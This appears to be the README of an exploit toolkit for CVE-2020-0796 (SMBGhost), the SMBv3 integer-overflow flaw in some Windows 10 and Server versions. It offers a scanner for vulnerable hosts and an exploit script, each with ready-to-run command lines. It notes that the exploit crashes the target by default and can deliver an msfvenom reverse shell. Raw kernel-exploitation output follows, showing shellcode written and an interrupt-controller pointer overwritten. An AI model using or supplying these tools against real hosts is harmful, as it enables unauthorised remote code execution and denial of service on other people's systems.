
cve-2020-0796利用工具集
CVE-2020-0796 is caused by an error in the SMBv3 protocol when processing malicious compressed packets; when decompressing packets using the length passed from the client, the length is not checked for validity, ultimately leading to integer overflow. It allows a remote, unauthenticated attacker to execute arbitrary code on the target system. This vulnerability is similar to EternalBlue (MS17-010).
Affected versions: Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for ARM64-based Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1909 for 32-bit Systems Windows 10 Version 1909 for ARM64-based Systems Windows 10 Version 1909 for x64-based Systems Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation)
scanner.py Scan and discover hosts vulnerable to CVE-2020-0796 Format: python scanner.py ip Example: python scanner.py 192.168.1.2
exploit.py Attack vulnerable target hosts. The default PoC triggers a blue screen. Requires cooperation with msfvenom to generate a reverse shell PoC. Format: python exploit.py -ip ip Example: python exploit.py -ip 192.168.1.2
Return: [+] found low stub at phys addr 13000! [+] PML4 at 1ad000 [+] base of HAL heap at fffff79480000000 [+] ntoskrnl entry at fffff80645792010 [+] found PML4 self-ref entry 1eb [+] found HalpInterruptController at fffff79480001478 [+] found HalpApicRequestInterrupt at fffff80645cb3bb0 [+] built shellcode! [+] KUSER_SHARED_DATA PTE at fffff5fbc0000000 [+] KUSER_SHARED_DATA PTE NX bit cleared! [+] Wrote shellcode at fffff78000000a00! [+] Press a key to execute shellcode! [+] overwrote HalpInterruptController pointer, should have execution shortly...